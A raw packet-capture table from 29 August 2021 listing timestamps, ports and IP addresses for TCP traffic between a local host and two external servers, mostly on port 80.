Aug 29, 2021 22:28:58.228831053 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.228843927 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.228854895 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.228923082 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.228948116 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.228955984 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.228964090 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.229001999 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.229017973 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.262785912 CEST	80	50016	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264025927 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264121056 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264152050 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.264182091 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.264269114 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264307976 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264328003 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.264365911 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.264389038 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264440060 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.264519930 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264643908 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264657974 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264903069 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.264916897 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.265062094 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300220013 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300293922 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300415039 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300430059 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300442934 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300456047 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.300468922 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.303807974 CEST	80	50016	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.303879023 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.336477041 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.336580038 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.486435890 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.486706972 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.487787008 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.521003962 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.521167040 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.521598101 CEST	80	50016	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.521703005 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.521991968 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.522087097 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.529922962 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.562414885 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.605307102 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.605395079 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.892278910 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:28:58.892453909 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:28:58.909670115 CEST	80	49768	162.159.134.233	192.168.2.4
Aug 29, 2021 22:28:58.909713984 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:28:58.909837008 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:28:58.909856081 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:28:58.912298918 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.912405014 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.912587881 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.912724018 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.945738077 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.945929050 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946057081 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946126938 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946156025 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946160078 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946190119 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946197987 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946216106 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946249962 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946254969 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946305037 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946335077 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946338892 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.946373940 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.946398020 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.978696108 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.978727102 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.978739977 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.978750944 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.978763103 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.978827000 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.978873968 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.978877068 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979008913 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.979031086 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979044914 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979054928 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979146004 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.979192972 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.979253054 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979337931 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.979373932 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.979448080 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.008166075 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.011758089 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.011846066 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.011857986 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.011920929 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.011981010 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.012012959 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.012201071 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012214899 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012301922 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012311935 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012317896 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012703896 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012718916 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012731075 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.012778044 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.042809010 CEST	80	50018	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.042953014 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.044287920 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.044354916 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.044368982 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.044375896 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.046657085 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.078805923 CEST	80	50018	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.085366964 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.085470915 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.122509003 CEST	80	50018	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.122659922 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.469961882 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.470243931 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.471344948 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.503294945 CEST	80	50018	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.503429890 CEST	50018	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.503946066 CEST	80	50017	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.504029989 CEST	50017	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.505152941 CEST	80	50019	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.505275011 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.546881914 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.561150074 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.579591036 CEST	80	50019	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.596318007 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.596445084 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.600308895 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.600398064 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.600589991 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.600696087 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.625637054 CEST	80	50019	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.625762939 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.635303974 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635338068 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635526896 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635555029 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635585070 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635679960 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.635735035 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.635747910 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.635767937 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635876894 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.635880947 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.635956049 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.670815945 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.670854092 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.670890093 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.670979977 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.670989990 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671019077 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671020031 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671066999 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671087980 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671210051 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671315908 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671366930 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671463013 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671478033 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671539068 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.671549082 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.671617031 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.706115961 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706170082 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706284046 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.706302881 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706410885 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.706437111 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.706482887 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706619024 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.706645012 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706677914 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706713915 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706835032 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706859112 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.706876040 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707041979 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707444906 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707472086 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707495928 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707775116 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707801104 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707827091 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.707901955 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.741693974 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.741744041 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.741780996 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.741884947 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.741920948 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.742038012 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.742367983 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.742408991 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.742443085 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.768373966 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.769319057 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.800431967 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.800518990 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.800987959 CEST	80	50019	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.801062107 CEST	50019	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.801434040 CEST	80	50021	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.801510096 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.826787949 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:59.859158039 CEST	80	50021	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.921061993 CEST	80	50021	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:59.921207905 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.343269110 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.343528032 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.344949007 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.351965904 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.376790047 CEST	80	50021	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.376899958 CEST	50021	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.377428055 CEST	80	50022	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.377522945 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.379462004 CEST	80	50020	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.379570961 CEST	50020	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.381589890 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.384902000 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.385035992 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.386209011 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.386317015 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.386506081 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.386639118 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.414171934 CEST	80	50022	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.419445992 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.419467926 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.419892073 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.419909000 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.419920921 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.420011997 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.420064926 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.420135021 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.420152903 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.420201063 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.420238018 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452148914 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452183962 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452204943 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452238083 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452260971 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452265024 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452287912 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452297926 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452313900 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452330112 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452354908 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452377081 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452390909 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.452426910 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.452523947 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.455825090 CEST	80	50022	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.455928087 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.485135078 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485182047 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485217094 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485315084 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.485358953 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.485373974 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.485415936 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485528946 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.485549927 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485583067 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485677958 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.485722065 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.517626047 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.518104076 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.518311024 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.518351078 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.518376112 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.551465988 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.551592112 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.649276018 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.649501085 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.650597095 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.682862997 CEST	80	50024	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.682888031 CEST	80	50023	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.682961941 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.682974100 CEST	80	50022	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.683018923 CEST	50022	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.683022022 CEST	50023	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.696636915 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.729027033 CEST	80	50024	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.767625093 CEST	80	50024	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.767719030 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.865499020 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.866729975 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.897998095 CEST	80	50024	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.898113966 CEST	50024	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.898958921 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.899058104 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.909743071 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.909892082 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.910073996 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.910172939 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.913033962 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.942034960 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942140102 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942265034 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942282915 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942296982 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942370892 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.942418098 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.942434072 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.942723036 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942742109 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.942807913 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.942846060 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.948231936 CEST	80	50026	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.948347092 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.970294952 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.974805117 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.974837065 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.974848032 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.974862099 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.974872112 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.974912882 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.974970102 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.975049019 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.975061893 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.975070000 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.975122929 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.975171089 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:00.975440979 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.975454092 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:00.975528002 CEST	50025	80	192.168.2.4	46.17.96.36
